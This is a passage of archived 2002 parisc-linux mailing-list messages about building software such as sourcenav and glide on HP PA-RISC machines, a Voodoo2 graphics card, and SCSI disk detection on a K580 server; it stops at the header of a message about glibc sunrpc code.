From - Thu Nov 08 21:24:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sources browsing tool?
Date: Sun, 18 Aug 2002 17:36:58 +0000
Lines: 48
Approved: news@gmane.org
Message-ID: <3D5FDB3A.4020708@freebel.net>
References: <1023470637.3d00ec2d3a708@webmail.tiscalinet.be> <1023475115.25523.47.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621645 12890 80.91.229.3 (22 Nov 2014 02:00:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 24 12:47:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8092482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Aug 2002 12:47:52 -0600 (MDT)
Original-Received: from freebel.net (62.235.236.143) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D3815AE00406031; Sat, 24 Aug 2002 20:47:16 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15896

Just for reminder in this ml


Alan Cox wrote:
  > On Fri, 2002-06-07 at 18:23, joel.soete@freebel.net wrote:
  >
  >>Hi all,
  >>
  >>Can you advise me some browsing tools which would allowing me to find
quickly
  >>where a variable, a function is define; where is used,... in this big
amount
  >>source which represent kernel now (find is not always easy).
  >>
  >>I find well a work of reverse engineering (rigiedit) of the kernel
but not for 2.4.
  >>And unfortunately sources (tcl/tk iirc) do not seems to be available
to port on
  >>hppa.
  >
  >
  > Try the Linux cross reference - http://lxr.linux.no
  >


I try to install it (from src, from tarball, from cvs): no way of
success (install instruction not uptodate)
But on the same 'sf.net' I found my happyness: sourcenav (5.1.0).

An install of the Install:
./configure --prefix=/opt/sn
make
make install

(That is the first time that I had the opportunity to build a package
with so few warning. It is very beautifull and easy to use :)

And the last but not least: it works fine on my own i386 as well as on
my b2k :)
I am now impatient to test it on a big proj as linux-2.4.

Joel







From - Thu Nov 08 21:24:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Compiling glide-2001.01.26 on hppa
Date: Sat, 24 Aug 2002 18:37:51 -0400
Lines: 50
Approved: news@gmane.org
Message-ID: <20020824223751.GA16590__27554.548593662$1416621646$gmane$org@systemhalted>
References: <3D67C8AC.2080309@charter.net> <20020824180137.GB25592@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621646 12893 80.91.229.3 (22 Nov 2014 02:00:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:46 +0000 (UTC)
Cc: "B. Douglas Hilton" <bdhilton@charter.net>,
	debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 24 16:40:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D2A3482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Aug 2002 16:40:13 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17ijXU-0004LC-00; Sat, 24 Aug 2002 18:37:52 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Randolph Chung <tausq@debian.org>,
	"B. Douglas Hilton" <bdhilton@charter.net>,
	debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020824180137.GB25592@tausq.org>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (20% Sync Ratio [==........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15897

> > cc -O6 -m486 -fomit-frame-pointer -funroll-loops \
> > -fexpensive-optimizations -ffast-math -DBIG_OPT -I. \
> > -I/usr/src/glide-2001.01.26/build-tree/glide2x/swlibs/include \
> > -I/usr/src/glide-2001.01.26/build-tree/glide2x/cvg/include \
> > -DENDB -DX11 -Wall -fPIC -DPIC -c -o fx64.o fx64.c
> > 
> > cc1: Invalid option `486'
> > 
> > 
> > My question is, what incantation should I use on hppa to
> > replace the '-O6 -m486 -f...' CFLAGS?
> 
> i would suggest just using "-O2" for now....
> 
> randolph
> 

The issues revolves around the fact that the source tree and 
assembly for some of pieces you want to build are meant for x86 boxes.
Though from a cusory glance it looks like the .c files are present for
these bits (so you can revert to those).

Right off the top:
tvg/makefile.linux:CFLAGS = -O -m486 -fomit-frame-pointer $(LCDEFS) $(LCOPTS) $(LCINC)
glide2x/sst1/init/initvg/makefile.unix:CFLAGS = -O -m486 -fomit-frame-pointer $(LCDEFS) $(LCOPTS) $(LCINC)
glide2x/swlibs/include/make/3dfx.linux.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
glide2x/swlibs/include/make/3dfx.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
glide2x/swlibs/include/make/3dfx.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
glide2x/swlibs/include/make/makefile.autoconf.bottom:GLIDE_DEBUG_GCFLAGS = -O6 -m486
glide3x/swlibs/include/make/3dfx.linux.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
glide3x/swlibs/include/make/3dfx.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
glide3x/swlibs/include/make/3dfx.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
glide3x/swlibs/include/make/makefile.autoconf.bottom:GLIDE_DEBUG_GCFLAGS = -O6 -m486
swlibs/include/make/3dfx.linux.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
swlibs/include/make/3dfx.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
swlibs/include/make/3dfx.mak:CNODEBUG       = -O6 -m486 -fomit-frame-pointer -funroll-loops \
swlibs/include/make/makefile.autoconf.bottom:GLIDE_DEBUG_GCFLAGS = -O6 -m486

These files will give you some grief and need to be changed; remove the -m486 bit.
You either need to produce .dpatch's for the deb to use or stop building
the deb and do it by hand with the upstream source.

You've got me all excited about seeing this work :) I have a Vodoo1 (Monster3D)
PCI card that I might be tempted to ressurect.

Hope this helps. Sorry about there not being a _magic_ switch :)

c.



From - Thu Nov 08 21:24:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo2 (was: Question ...)
Date: Sun, 25 Aug 2002 01:48:16 -0700 (PDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <20020825084816.6121.qmail@web12501.mail.yahoo.com>
References: <1030197716.9908.5.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621646 12897 80.91.229.3 (22 Nov 2014 02:00:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 25 02:48:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id 6FF71482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Aug 2002 02:48:17 -0600 (MDT)
Original-Received: from [24.197.204.51] by web12501.mail.yahoo.com via HTTP; Sun, 25 Aug 2002 01:48:16 PDT
In-Reply-To: <1030197716.9908.5.camel@irongate.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15898

Keep us posted since I just so happen to have a Voodoo2 sitting in my
OLD HP 166MHz Pavilion....;)

derek


--- Alan Cox <alan@lxorguk.ukuu.org.uk> wrote:
> On Sat, 2002-08-24 at 04:29, Tobias Giesen wrote:
> > > I'm going to be attempting to get a *Voodoo2* 
> > > board working with X, so if you hang around 
> > > I may be able to write a HOWTO-hppa-Voodoo2-
> > > XFree86 guide, assuming it works.
> > 
> > A very good project that is. If you can make it work I'll get one
> too. I
> > assume the Voodoo2 would be initially dead and then activated by
> > XFree86? Would it need a new BIOS?
> 
> The voodoo2 has no BIOS to worry about. Glide can bring it up from
> nothing
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do You Yahoo!?
Yahoo! Finance - Get real-time stock quotes
http://finance.yahoo.com


From - Thu Nov 08 21:24:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Voodoo2 (was: Question ...)
Date: Sun, 25 Aug 2002 18:54:36 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <000001c24c58$189f47c0$5a3d01d9@venus>
References: <3D6707CC.6020408@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621646 12899 80.91.229.3 (22 Nov 2014 02:00:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:46 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 25 10:54:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1593A482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Aug 2002 10:54:46 -0600 (MDT)
Original-Received: from [195.20.224.198] (helo=mrvdomng3.kundenserver.de)
	by moutvdomng3.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17j0ey-00008l-00
	for parisc-linux@lists.parisc-linux.org; Sun, 25 Aug 2002 18:54:44 +0200
Original-Received: from [217.1.61.90] (helo=venus)
	by mrvdomng3.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17j0ey-0001IG-00
	for parisc-linux@lists.parisc-linux.org; Sun, 25 Aug 2002 18:54:44 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
In-Reply-To: <3D6707CC.6020408@charter.net>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15899

Hello,

so if we use the Voodoo2 for X only (with the video jumper cable), do we
still need a challenging kernel modification?

Cheers,
Tobias




From - Thu Nov 08 21:24:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Voodoo2 (was: Question ...)
Date: 25 Aug 2002 21:47:59 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <1030308479.16618.20.camel@irongate.swansea.linux.org.uk>
References: <000001c24c58$189f47c0$5a3d01d9@venus>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621646 12902 80.91.229.3 (22 Nov 2014 02:00:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tobias Giesen <tobias_subscriber@tgtools.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 25 14:46:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72DC0482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Aug 2002 14:46:15 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g7PKm0GJ017562;
	Sun, 25 Aug 2002 21:48:01 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g7PKlxEd017560;
	Sun, 25 Aug 2002 21:47:59 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <000001c24c58$189f47c0$5a3d01d9@venus>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15900

On Sun, 2002-08-25 at 17:54, Tobias Giesen wrote:
> Hello,
> 
> so if we use the Voodoo2 for X only (with the video jumper cable), do we
> still need a challenging kernel modification?

Shouldnt do. Its actually best done with two monitors for debugging btw.
That way you can see what blew up 8)



From - Thu Nov 08 21:24:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve.Grady@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SCSI Disks on a K580 Help Required
Date: Mon, 26 Aug 2002 07:33:37 +1000
Lines: 75
Approved: news@gmane.org
Message-ID: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCC3@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416621647 12903 80.91.229.3 (22 Nov 2014 02:00:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 25 15:33:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from crux.tip.CSIRO.AU (crux.tip.CSIRO.AU [130.155.194.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF909482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Aug 2002 15:33:49 -0600 (MDT)
Original-Received: (from daemon@localhost)
	by crux.tip.CSIRO.AU (8.9.3/8.9.3/TIPAT-1.2a) id HAA01639
	for <parisc-linux@lists.parisc-linux.org>; Mon, 26 Aug 2002 07:33:48 +1000 (EST)
Original-Received: from wing-ep.tip.CSIRO.AU(130.155.192.114)
 via SMTP by crux.tip.CSIRO.AU, id smtpdAAAa01633; Mon Aug 26 07:33:39 2002
Original-Received: by wing-ep.tip.csiro.au with Internet Mail Service (5.5.2656.59)
	id <P6G5RB3R>; Mon, 26 Aug 2002 07:33:38 +1000
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15901

Hi,

I got my hands on a K580 Quad processors, 4G Ram, CD, DDS3 Tape drive,
2 Fibre Channels on HSC, Dual 100BaseT network connectors on HSC,
FW SCSI on HSC and 2 SCSI interface on HPPB (OK I know the HPPB is not
supported)
but no hard disks.

Previously I have installed PA-Linux on a 735/125.

I am trying to install palinux-2.4.18-pa59-ppc-20020728-netinstall image on
the K580
I am using a variety of SCSI disks I am trying to install to but I am having
problems.

The disks are being installed internally on the K580. I have downloaded the
users guide
from docs.hp.com.

First Try

I installed Tape and CD to Single ended bus of the Disk cage and install a
Maxtor Altas II
4.5G UW to ultra wide bus of Disk Cage and yes the cable was terminated.

The boot process found the CD, DDS3 but not the disk. I could boot from CD
but the installer 
complained about on disk.

Second Try

I installed Tape and CD to Single ended bus of the Disk cage and install a
Seagate
2.1G SE to SE bus of Disk Cage in parallel with the CD and Tape.

The boot process found the CD, DDS3 but not the disk. I could boot from CD
but the installer 
found the disk CD and Tape. I installed to disk and at reboot boot could not
find the disk
only the tape and the CD.

All other trys

I have tried various combinations but have not susceed in get the boot to
recognised the
hard disk. I cannot get Pa-linux to recognised the Ultra Wide bus which
leaves me to question
whether it is supported or do I have a hardware problem.

The Boot reports through its Search for Boot devices function that it finds

The 2 FC devices
the Lan (which I assume is the 10BaseT on the Core IO not the 100BaseT)
a sequential device (Tape Drive)
a random device (CD)

The primary boot device at present seems to me to be set up for the Fibre
Channel
(I think the I am not used to the addressing).

I have thought of Rboot or tftboot the K580 from the the 735 and then the
kernel will
recognise the disk. But this is not usefull in the long term as I may get
rid of the 735
and my Intel box which is my main server as I want to make the K580 my main
server.

Any help or suggestions would be appreciated,


Steve Grady

BTW Thanks for a great port my little 735 just sits there and works (mostly
running SETI)


From - Thu Nov 08 21:24:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Averell Eisner <a_eisner@eisner.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI Disks on a K580 Help Required
Date: Sun, 25 Aug 2002 18:27:08 -0400
Organization: Eisner Associates, Inc.
Lines: 107
Approved: news@gmane.org
Message-ID: <3D6959BC.1020803@eisner.com>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCC3@wing-ep.tip.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621647 12909 80.91.229.3 (22 Nov 2014 02:00:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve.Grady@csiro.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 25 16:34:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail15b.boca15-verio.com (mail15b.boca15-verio.com [208.55.91.59])
	by dsl2.external.hp.com (Postfix) with SMTP id BE3F2482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 Aug 2002 16:34:41 -0600 (MDT)
Original-Received: from www.eisner.com (128.241.146.163)
	by mail15b.boca15-verio.com (RS ver 1.0.63s) with SMTP id 01844;
	Sun, 25 Aug 2002 18:34:20 -0400 (EDT)
User-Agent: Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3
X-Accept-Language: en-us
X-Loop-Detect: 1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15902

Possible issues:

"First try." The internal disk drives in the K580 are fast wide 
differential. The differential is high voltage differential, not low 
voltage differential. Could be that the Maxtor 4.5GB UW is the wrong type.

"Second try." The normal cable in the K580 that goes to the tape and CD 
only has two open scsi connections plus the terminator. One connection 
for tape, another for the CD. Did you substitute another cable with a 
third open scsi connection?

Just guessing.

Averell
Steve.Grady@csiro.au wrote:

> Hi,
> 
> I got my hands on a K580 Quad processors, 4G Ram, CD, DDS3 Tape drive,
> 2 Fibre Channels on HSC, Dual 100BaseT network connectors on HSC,
> FW SCSI on HSC and 2 SCSI interface on HPPB (OK I know the HPPB is not
> supported)
> but no hard disks.
> 
> Previously I have installed PA-Linux on a 735/125.
> 
> I am trying to install palinux-2.4.18-pa59-ppc-20020728-netinstall image on
> the K580
> I am using a variety of SCSI disks I am trying to install to but I am having
> problems.
> 
> The disks are being installed internally on the K580. I have downloaded the
> users guide
> from docs.hp.com.
> 
> First Try
> 
> I installed Tape and CD to Single ended bus of the Disk cage and install a
> Maxtor Altas II
> 4.5G UW to ultra wide bus of Disk Cage and yes the cable was terminated.
> 
> The boot process found the CD, DDS3 but not the disk. I could boot from CD
> but the installer 
> complained about on disk.
> 
> Second Try
> 
> I installed Tape and CD to Single ended bus of the Disk cage and install a
> Seagate
> 2.1G SE to SE bus of Disk Cage in parallel with the CD and Tape.
> 
> The boot process found the CD, DDS3 but not the disk. I could boot from CD
> but the installer 
> found the disk CD and Tape. I installed to disk and at reboot boot could not
> find the disk
> only the tape and the CD.
> 
> All other trys
> 
> I have tried various combinations but have not susceed in get the boot to
> recognised the
> hard disk. I cannot get Pa-linux to recognised the Ultra Wide bus which
> leaves me to question
> whether it is supported or do I have a hardware problem.
> 
> The Boot reports through its Search for Boot devices function that it finds
> 
> The 2 FC devices
> the Lan (which I assume is the 10BaseT on the Core IO not the 100BaseT)
> a sequential device (Tape Drive)
> a random device (CD)
> 
> The primary boot device at present seems to me to be set up for the Fibre
> Channel
> (I think the I am not used to the addressing).
> 
> I have thought of Rboot or tftboot the K580 from the the 735 and then the
> kernel will
> recognise the disk. But this is not usefull in the long term as I may get
> rid of the 735
> and my Intel box which is my main server as I want to make the K580 my main
> server.
> 
> Any help or suggestions would be appreciated,
> 
> 
> Steve Grady
> 
> BTW Thanks for a great port my little 735 just sits there and works (mostly
> running SETI)
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-- 
Averell

Eisner Associates, Inc.			Phone: 908-233-6585
516 North Ave. East			FAX:   908-233-0710
P.O. Box 2489
Westfield, NJ 07090



From - Thu Nov 08 21:24:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] questionable code in glibc sunrpc code?
Date: Sun, 25 Aug 2002 17:55:57 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20020826005557.GG25592@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621647 12912 80.91.229.3 (22 Nov 2014 02:00:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
